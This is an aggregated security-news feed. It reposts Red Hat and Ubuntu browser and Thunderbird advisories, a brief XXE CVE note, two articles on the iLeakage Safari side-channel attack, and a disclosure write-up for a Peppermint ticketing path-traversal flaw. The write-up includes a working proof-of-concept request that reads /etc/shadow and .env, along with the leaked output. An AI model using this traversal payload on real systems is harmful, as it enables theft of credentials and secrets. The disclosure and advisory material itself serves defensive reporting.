Red Hat Security Advisory 2023-6196-01 - An update for thunderbird is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions. Issues addressed include a spoofing vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6196.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2023:6196-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6196  
Issue date:         2023-10-30  
Revision:           01  
CVE Names:          CVE-2023-5721  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.4.1.

Security Fix(es):

* Mozilla: Queued up rendering could have allowed websites to clickjack (CVE-2023-5721)

* Mozilla: Memory safety bugs fixed in Firefox 119, Firefox ESR 115.4, and Thunderbird 115.4 (CVE-2023-5730)

* libvpx: crash related to VP9 encoding in libvpx (CVE-2023-44488)

* Mozilla: Large WebGL draw could have led to a crash (CVE-2023-5724)

* Mozilla: WebExtensions could open arbitrary URLs (CVE-2023-5725)

* Mozilla: Improper object tracking during GC in the JavaScript engine could have led to a crash. (CVE-2023-5728)

* Mozilla: Address bar spoofing via bidirectional characters (CVE-2023-5732)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5721

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6196-01

Red Hat Security Advisory 2023-6195-01 - An update for thunderbird is now available for Red Hat Enterprise Linux 8.6 Extended Update Support. Issues addressed include a spoofing vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6195.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2023:6195-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6195  
Issue date:         2023-10-30  
Revision:           01  
CVE Names:          CVE-2023-5721  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.4.1.

Security Fix(es):

* Mozilla: Queued up rendering could have allowed websites to clickjack (CVE-2023-5721)

* Mozilla: Memory safety bugs fixed in Firefox 119, Firefox ESR 115.4, and Thunderbird 115.4 (CVE-2023-5730)

* libvpx: crash related to VP9 encoding in libvpx (CVE-2023-44488)

* Mozilla: Large WebGL draw could have led to a crash (CVE-2023-5724)

* Mozilla: WebExtensions could open arbitrary URLs (CVE-2023-5725)

* Mozilla: Improper object tracking during GC in the JavaScript engine could have led to a crash. (CVE-2023-5728)

* Mozilla: Address bar spoofing via bidirectional characters (CVE-2023-5732)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5721

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6195-01

Red Hat Security Advisory 2023-6194-01 - An update for thunderbird is now available for Red Hat Enterprise Linux 8. Issues addressed include a spoofing vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6194.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2023:6194-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6194  
Issue date:         2023-10-30  
Revision:           01  
CVE Names:          CVE-2023-5721  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.4.1.

Security Fix(es):

* Mozilla: Queued up rendering could have allowed websites to clickjack (CVE-2023-5721)

* Mozilla: Memory safety bugs fixed in Firefox 119, Firefox ESR 115.4, and Thunderbird 115.4 (CVE-2023-5730)

* libvpx: crash related to VP9 encoding in libvpx (CVE-2023-44488)

* Mozilla: Large WebGL draw could have led to a crash (CVE-2023-5724)

* Mozilla: WebExtensions could open arbitrary URLs (CVE-2023-5725)

* Mozilla: Improper object tracking during GC in the JavaScript engine could have led to a crash. (CVE-2023-5728)

* Mozilla: Address bar spoofing via bidirectional characters (CVE-2023-5732)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5721

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6194-01

Red Hat Security Advisory 2023-6191-01 - An update for thunderbird is now available for Red Hat Enterprise Linux 9. Issues addressed include a spoofing vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6191.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2023:6191-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6191  
Issue date:         2023-10-30  
Revision:           01  
CVE Names:          CVE-2023-5721  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 115.4.1.

Security Fix(es):

* Mozilla: Queued up rendering could have allowed websites to clickjack (CVE-2023-5721)

* Mozilla: Memory safety bugs fixed in Firefox 119, Firefox ESR 115.4, and Thunderbird 115.4 (CVE-2023-5730)

* libvpx: crash related to VP9 encoding in libvpx (CVE-2023-44488)

* Mozilla: Large WebGL draw could have led to a crash (CVE-2023-5724)

* Mozilla: WebExtensions could open arbitrary URLs (CVE-2023-5725)

* Mozilla: Improper object tracking during GC in the JavaScript engine could have led to a crash. (CVE-2023-5728)

* Mozilla: Address bar spoofing via bidirectional characters (CVE-2023-5732)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5721

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6191-01

Red Hat Security Advisory 2023-6190-01 - An update for firefox is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6190.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: firefox security updateAdvisory ID:        RHSA-2023:6190-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6190Issue date:         2023-10-30Revision:           01CVE Names:          CVE-2023-44488====================================================================Summary: An update for firefox is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability.This update upgrades Firefox to version 115.4.0 ESR.Security Fix(es):* libvpx: crash related to VP9 encoding in libvpx (CVE-2023-44488)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44488References:https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6190-01

Ubuntu Security Notice 6456-1 - Multiple security issues were discovered in Firefox. If a user were tricked into opening a specially crafted website, an attacker could potentially exploit these to cause a denial of service, obtain sensitive information across domains, or execute arbitrary code. Kelsey Gilbert discovered that Firefox did not properly manage certain browser prompts and dialogs due to an insufficient activation-delay. An attacker could potentially exploit this issue to perform clickjacking.

    ==========================================================================Ubuntu Security Notice USN-6456-1October 30, 2023firefox vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTSSummary:Several security issues were fixed in Firefox.Software Description:- firefox: Mozilla Open Source web browserDetails:Multiple security issues were discovered in Firefox. If a user weretricked into opening a specially crafted website, an attacker couldpotentially exploit these to cause a denial of service, obtain sensitiveinformation across domains, or execute arbitrary code. (CVE-2023-5722,CVE-2023-5724, CVE-2023-5728, CVE-2023-5729, CVE-2023-5730, CVE-2023-5731)Kelsey Gilbert discovered that Firefox did not properly manage certainbrowser prompts and dialogs due to an insufficient activation-delay. Anattacker could potentially exploit this issue to perform clickjacking.(CVE-2023-5721)Daniel Veditz discovered that Firefox did not properly validate a cookiecontaining invalid characters. An attacker could potentially exploit thisissue to cause a denial of service. (CVE-2023-5723)Shaheen Fazim discovered that Firefox did not properly validate the URLsopen by installed WebExtension. An attacker could potentially exploit thisissue to obtain sensitive information. (CVE-2023-5725)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:  firefox                         119.0+build2-0ubuntu0.20.04.1After a standard system update you need to restart Firefox to make all thenecessary changes.References:  https://ubuntu.com/security/notices/USN-6456-1  CVE-2023-5721, CVE-2023-5722, CVE-2023-5723, CVE-2023-5724,  CVE-2023-5725, CVE-2023-5728, CVE-2023-5729, CVE-2023-5730,  CVE-2023-5731Package Information:  https://launchpad.net/ubuntu/+source/firefox/119.0+build2-0ubuntu0.20.04.1

Ubuntu Security Notice USN-6456-1

Peppermint Ticket Management through 0.2.4 allows remote attackers to read arbitrary files via a /api/v1/ticket/1/file/download?filepath=../ POST request.

**Description**

When downloading a file attached to a ticket, it was observed to be able to download arbitrary files off the web server due to the filepath query parameter not being validated and passed directly to fs.createReadStream. Instructions to download and run the latest release were followed from here: https://github.com/Peppermint-Lab/peppermint/tree/master#-installation-with-docker

**Steps to Reproduce**

1.  Login to the application.
2.  Create a new ticket.
3.  Upload a file.
4.  Download the file and intercept the request in Burp Suite.
5.  Change the filepath parameter to "../../../../../../etc/shadow" or "../../../../../../etc/passwd" or "./.env"

**Proof of Concept Request and Response**

Request:

    POST /api/v1/ticket/1/file/download?filepath=../../../../../../etc/shadow HTTP/1.1
    Host: localhost:5000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.00) Gecko/20100101 Firefox/118.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://localhost:5000/ticket/1
    Content-Type: multipart/form-data; boundary=---------------------------9995410711832151211174726991
    Content-Length: 61
    Origin: http://localhost:5000
    Connection: close
    Cookie: token=<omitted>
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    -----------------------------9995410711832151211174726991--
    
    

Response:

    HTTP/1.1 200 OK
    Date: Sat, 14 Oct 2023 23:28:05 GMT
    Connection: close
    Content-Length: 476
    
    root:!::0:::::
    bin:!::0:::::
    daemon:!::0:::::
    adm:!::0:::::
    lp:!::0:::::
    sync:!::0:::::
    shutdown:!::0:::::
    halt:!::0:::::
    mail:!::0:::::
    news:!::0:::::
    uucp:!::0:::::
    operator:!::0:::::
    man:!::0:::::
    postmaster:!::0:::::
    cron:!::0:::::
    ftp:!::0:::::
    sshd:!::0:::::
    at:!::0:::::
    squid:!::0:::::
    xfs:!::0:::::
    games:!::0:::::
    cyrus:!::0:::::
    vpopmail:!::0:::::
    ntp:!::0:::::
    smmsp:!::0:::::
    guest:!::0:::::
    nobody:!::0:::::
    node:!:<omitted for security>
    nextjs:!:<omitted for security>
    

**Impact**

Allowing users to download system files, such as /etc/passwd, /etc/shadow, configuration files, application source code, and other users files. The etc/shadow file and .env file were able to be retrieved through the app.

**References**

https://cwe.mitre.org/data/definitions/22.html  
https://portswigger.net/web-security/file-path-traversal

CVE-2023-46864: Path Traversal - Arbitrary File Download · Issue #171 · Peppermint-Lab/peppermint

By Deeba Ahmed
What happens in iLeakage attacks is that the CPU is tricked into executing speculative code that reads sensitive data from memory. 
This is a post from HackRead.com Read the original post: iLeakage Attack: Theft of Sensitive Data from Apple’s Safari Browser

A team of researchers comprising Georgia Tech’s cybersecurity professors, Daniel Genkin and Jason Kim, University of Michigan’s Stephan van Schaik, and Ruhr University Bochum’s Yuval Yarom have published a research paper explaining a vulnerability they discovered in Apple devices that affects Macs and iPhones.

Researchers explained in the paper titled “iLeakage: Browser-based Timerless Speculative Execution Attacks on Apple Devices,” that the vulnerability, dubbed iLeakage, has been affecting Macs and iPhones since 2020. The attack mainly affects those devices that were built with Apple’s Arm-based A-series and M-series chips.

Researchers devised an attack that forced Apple’s Safari browser to divulge passwords, Gmail content, and other sensitive data by exploiting a side channel vulnerability in the CPUs. 

This vulnerability is built off an existing attack technique used on CPUs for over six years. Back in 2018, security researchers reported that all modern CPUs can be exploited to leak sensitive data by exploiting an integral feature on the processor called Speculative Execution. 

In this technique, modern CPUs try to improve performance by executing instructions before they know it is needed. iLeakage is a browser-based attack exploiting a timerless speculative execution flaw in Apple devices. Timerless speculative execution lets the CPU execute instructions even without any time running. The attackers can exploit this to perform malicious operations without getting detected.

What happens in iLeakage attacks is that the CPU is tricked into executing speculative code that reads sensitive data from memory. The attacker can exfiltrate this data without alerting the user. It is a dangerous attack because adversaries can perform them without needing the victim to click on malicious links or open infected documents/attachments.

The flaw exists in the way the Safari browser handles JavaScript timers. This allows attackers to create malicious JavaScript code and use it to steal sensitive data from the device. The stolen data may include passwords, PII (personal identification information), and credit card numbers. Using this data, attackers can commit crimes like identity theft and fraud.

Researchers noted that iLeakage attacks are currently effective on Apple devices running Safari. However, other platforms or browsers may also be vulnerable. Therefore, it is essential to exercise caution to prevent iLeakage attacks. Always keep your software up-to-date and use a security solution that can detect/block speculative execution attacks.

The findings were disclosed to Apple on 12 September 2022. The company acknowledged this issue, and Apple’s Product Security team and Safari browser development team collaborated with the researchers to develop countermeasures. As a result, Apple refactored Safari’s multi-process architecture. These changes are currently under active development and are available in Safari Technology Preview versions 173 and above.

Apple has released a new inter-process communication API to spawn new processes for pages launched with window.open(). Researchers have confirmed that the patch mitigates iLeakage attacks by preventing the consolidation of domains across security boundaries but it has limitations.

“We have empirically verified that this patch mitigates our attack by preventing the consolidation of domains across security boundaries. This means that while it is still possible to escape the speculative JavaScript sandbox, an attacker will only be able to read their own address space and therefore their own data,” researchers concluded.

The full report can be accessed here (PDF), and there is a dedicated site available to demonstrate the iLeakage attack.

Regarding this research, Lionel Litty, Chief Security Architect at Menlo Security, a Mountain View, Calif.-based provider of browser security stated that this attack shows browsers are the new OS. 

“This attack illustrates how for both attackers and defenders, the browser is the new OS, with web primitives such as origins and web workers that parallel OS primitives, such as applications and threads. Security practitioners must educate themselves on this attack surface.”

John Gallagher, Vice President of Viakoo Labs at Viakoo, a Mountain View, Calif.-based provider of automated IoT cyber hygiene noted that this attack method is not as significant as is the realization that threats are continually evolving. 

“The significance is not necessarily in this as an attack method, but more in how threats are evolving based on the tradeoff between speed and security. Prefetching of information to speed up CPU execution has been around for a while, and equally has been exploited for a while.  This is just a further “tit for tat”, and will be remediated in future CPU development.”

Gallagher, however, claims that in this attack, organizations aren’t at high risk because this attack requires a high degree of sophistication and there aren’t any reports that it has been exploited in the wild. 

“Organizations are not at high risk, given that this attack method requires a high degree of sophistication by the threat actor and has not been seen exploited yet in the wild (or at least not reported).  Organizations concerned (or high-value individual targets) should consider enabling lockdown mode, or using the MacOS (unstable) patch available,” Gallagher stated.

1.  According to Chrome, Safari and FireFox ThePirateBay is a Phishing Site
2.  Hackers Pwned Apple Safari in 20 seconds; Google Pixel in 60 seconds
3.  Bug in Safari browser leaks personal identifiers and browsing activity
4.  Apple Safari Safest, Google Chrome Riskiest Browser of 2022- Study

iLeakage Attack: Theft of Sensitive Data from Apple’s Safari Browser

An issue was discovered in VERMEG AgileReporter 21.3. XXE can occur via an XML document to the Analysis component.

CVE-2022-34832: XXE in AgileReporter 21.3 by VERMEG

The "iLeakage" attack affects all recent iPhone, iPad, and MacBook models, allowing attackers to peruse your Gmail inbox, steal your Instagram password, or scrutinize your YouTube history.

Researchers have developed a side-channel exploit for Apple CPUs, enabling sophisticated attackers to extract sensitive information from browsers.

Side-channel attacks are usually overlooked, often physical counterparts to traditional software hacks. Rather than an unsecured password or a vulnerability in a program, they take advantage of the extra information a computer system or hardware generates — in the form of sound, light, or electromagnetic radiation, for example, or in the time it takes to complete certain computations (a timing attack).

On Wednesday, four researchers — including two of those responsible for uncovering the Spectre processor vulnerability back in 2018 — published the details of such an attack, which they've named "iLeakage," affecting all recent iPhone, iPad, and MacBook models.

The researchers informed Apple of their findings on Sept. 12, 2022, according to their website, and the company has since developed a mitigation. However, it's still considered unstable, it's not enabled on devices by default, and mitigating is only possible on Macs, not mobile devices.

In comments provided to Dark Reading on background, an Apple spokesperson wrote, "This proof of concept advances our understanding of these types of threats. We are aware of the issue and it will be addressed in our next scheduled software release."

**How iLeakage Works**

iLeakage takes advantage of A- and M-series Apple silicon CPUs' capacity to perform speculative execution.

Speculative execution is a method by which modern CPUs predict tasks before they're even prompted, in order to speed up information processing. "This technique has been around for over 20 years, and today all modern CPUs use it — it significantly speeds up processing, even accounting for times it might get the anticipated instructions wrong," explains John Gallagher, vice president of Viakoo Labs.

The rub is that "cache inside the CPU holds a lot of valuable data, including what might be staged for upcoming instructions. iLeakage uses the Apple WebKit capabilities inside a browser to use JavaScript to gain access to those contents."

Specifically, the researchers used a new speculation-based gadget to read the contents of another webpage when a victim clicked on their malicious webpage.

"Alone, WebKit would not enable the cache contents to be divulged, nor would how A-Series and M-Series perform speculative execution — it's the combination of the two together that leads to this exploit," Gallagher explains.

**A Successor to Meltdown/Spectre**

"This builds on a line of attacks against CPU vulnerabilities that started around 2017 with Meltdown and Spectre," Lionel Litty, chief security architect at Menlo Security points out. "High level, you want to think about applications and processes, and trust that the operating system with help from the hardware is properly isolating these from one another," but those two exploits broke the fundamental isolation between different applications, and an application and operating system, that we tend to take for granted as users, he says.

iLeakage, then, is a spiritual successor that focuses on breaking the isolation between browser tabs.

The good news is, in their website's FAQ section, the researchers described iLeakage as "a significantly difficult attack to orchestrate end-to-end," which "requires advanced knowledge of browser-based side-channel attacks and Safari's implementation." They also noted that successful exploitation hasn't been demonstrated in the wild.

Were a capable enough attacker to come along and try it, however, this method is powerful enough to siphon just about any data users traffic online: logins, search histories, credit card details, what have you. In YouTube videos, the researchers demonstrated how their exploit could expose victims' Gmail inboxes, their YouTube watch histories, and their Instagram passwords, as just a few examples.

**iPhone Users Are Especially Affected**

Though it takes advantage of the idiosyncrasies in Safari's JavaScript engine specifically, iLeakage affects all browsers on iOS, because Apple's policies force all iPhone browser apps to use Safari's engine.

"Chrome, Firefox and Edge on iOS are simply wrappers on top of Safari that provide auxiliary features such as synchronizing bookmarks and settings. Consequently, nearly every browser application listed on the App Store is vulnerable to iLeakage," the researchers explained.

iPhone users are doubly in trouble, because the best fix Apple has released thus far only works on MacBooks (and, for that matter, only in an unstable state). But for his part, Gallagher backs Apple's ability to design an effective remediation.

"Chip-level vulnerabilities are typically hard to patch, which is why it is not surprising that there is not a fix for this right now. It will take time, but ultimately if this becomes a real exploited vulnerability a patch will likely be available," he says.

Tag

#firefox